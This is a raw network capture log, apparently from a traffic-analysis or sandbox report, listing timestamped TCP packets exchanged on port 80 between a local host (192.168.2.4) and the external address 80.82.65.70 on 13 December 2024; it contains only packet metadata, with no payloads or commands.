Dec 13, 2024 01:09:48.128016949 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.128032923 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.128035069 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.128042936 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.128065109 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.128073931 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.128694057 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.128714085 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.128732920 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.128767014 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.128783941 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.128786087 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.128803968 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.128809929 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.128820896 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.128839970 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.128839970 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.128859997 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.128864050 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.128879070 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.128896952 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.128923893 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.129535913 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.129556894 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.129574060 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.129610062 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.129627943 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.129631996 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.129646063 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.129652977 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.129663944 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.129688025 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.129713058 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.130079031 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.130099058 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.130115986 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.130150080 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.130167007 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.130168915 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.130187988 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.130198002 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.130206108 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.130218029 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.130223989 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.130242109 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.130243063 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.130260944 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.130264044 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.130292892 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.130821943 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.130861998 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.130918026 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.130939007 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.130974054 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.130991936 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.130992889 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.131011009 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.131016016 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.131027937 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.131036997 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.131045103 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.131063938 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.131063938 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.131082058 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.131092072 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.131119967 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.131813049 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.131831884 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.131865978 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.131880045 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.131885052 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.131903887 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.131907940 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.131922960 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.131939888 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.131939888 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.131953001 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.131958961 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.131975889 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.131989956 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.131994009 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.132008076 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.132020950 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.132040977 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.132677078 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.132697105 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.132715940 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.132750034 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.132769108 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.132777929 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.132786036 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.132797003 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.132803917 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.132818937 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.132822990 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.132842064 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.132843971 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.132873058 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.246543884 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.246702909 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.247162104 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.247235060 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.247282982 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.247361898 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.250286102 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.250351906 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.250416994 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.250648975 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.253411055 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.253484964 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.253540993 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.253637075 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.256544113 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.256594896 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.256665945 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.256716967 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.259684086 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.259742975 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.259788036 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.259922028 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.262798071 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.262860060 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.262919903 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.263012886 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.265954018 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.266022921 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.266221046 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.269047976 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.269246101 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.269503117 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.272218943 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.272330046 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.272711039 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.275348902 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.275398970 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.275460005 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.275549889 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.278476954 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.278520107 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.278574944 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.281615019 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.281712055 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.281727076 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.281814098 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.284771919 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.284813881 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.284876108 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.287846088 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.287914038 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.287966013 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.288009882 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.290967941 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.291038990 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.291079044 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.291183949 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.294091940 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.294147015 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.294212103 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.294370890 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.297221899 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.297286987 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.297324896 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.297420025 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.300312996 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.300376892 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.300441027 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.300527096 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.303497076 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.303561926 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.303709984 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.303771973 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.306593895 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.306657076 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.306724072 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.306811094 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.309755087 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.309835911 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.309897900 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.309993029 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.312903881 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.312979937 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.313010931 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.313069105 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.315990925 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.316059113 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.316112995 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.316229105 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.319103956 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.319205999 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.319266081 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.319333076 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.322273016 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.322328091 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.322362900 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.322443008 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.325360060 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.325436115 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.325464964 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.325515032 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.328512907 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.328569889 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.328632116 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.328702927 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.331660032 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.331722975 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.331790924 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.331864119 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.334737062 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.334846973 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.334908009 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.337858915 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.337946892 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.337991953 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.338090897 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.340996981 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.341058969 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.341114998 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.341269970 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.344127893 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.344266891 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.344299078 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.344312906 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.347235918 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.347304106 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.347387075 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.347461939 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.350373983 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:48.351378918 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.377389908 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:48.497250080 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.119460106 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.119509935 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.119597912 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.120507956 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.120598078 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.120625973 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.120677948 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.123048067 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.123120070 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.123133898 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.123214006 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.125529051 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.125602007 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.125655890 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.125711918 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.128046036 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.128108025 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.128118992 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.128216982 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.130568027 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.130661964 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.130719900 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.133111954 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.133177042 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.197388887 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.197427988 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.197472095 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.197489977 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.198364973 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.198513031 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.198576927 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.200880051 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.200957060 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.201792002 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.201858044 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.201915979 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.201968908 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.204304934 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.204436064 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.204493999 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.206832886 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.206892014 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.206965923 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.207034111 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.209301949 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.209408045 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.209439039 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.209494114 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.211811066 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.211867094 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.211922884 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.211998940 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.214313984 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.214457035 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.214489937 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.214505911 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.216828108 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.216897964 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.216944933 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.217015982 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.219288111 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.219348907 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.219417095 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.219471931 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.221858025 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.221929073 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.221944094 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.222018957 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.224325895 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.224384069 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.224452019 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.224556923 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.226804018 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.226869106 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.226934910 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.226989031 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.275552988 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.275610924 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.275625944 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.275650024 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.276508093 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.276582003 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.276587009 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.276658058 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.278999090 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.279048920 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.279175997 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.279335022 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.281497955 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.281603098 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.281614065 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.281662941 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.284035921 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.284089088 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.284109116 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.284192085 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.286490917 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.286549091 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.286603928 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.286668062 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.288983107 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.289055109 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.289119959 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.289170980 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.291496038 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.291567087 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.291625977 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.291667938 CET	49731	80	192.168.2.4	80.82.65.70
Dec 13, 2024 01:09:49.294028997 CET	80	49731	80.82.65.70	192.168.2.4
Dec 13, 2024 01:09:49.294104099 CET	49731	80	192.168.2.4	80.82.65.70
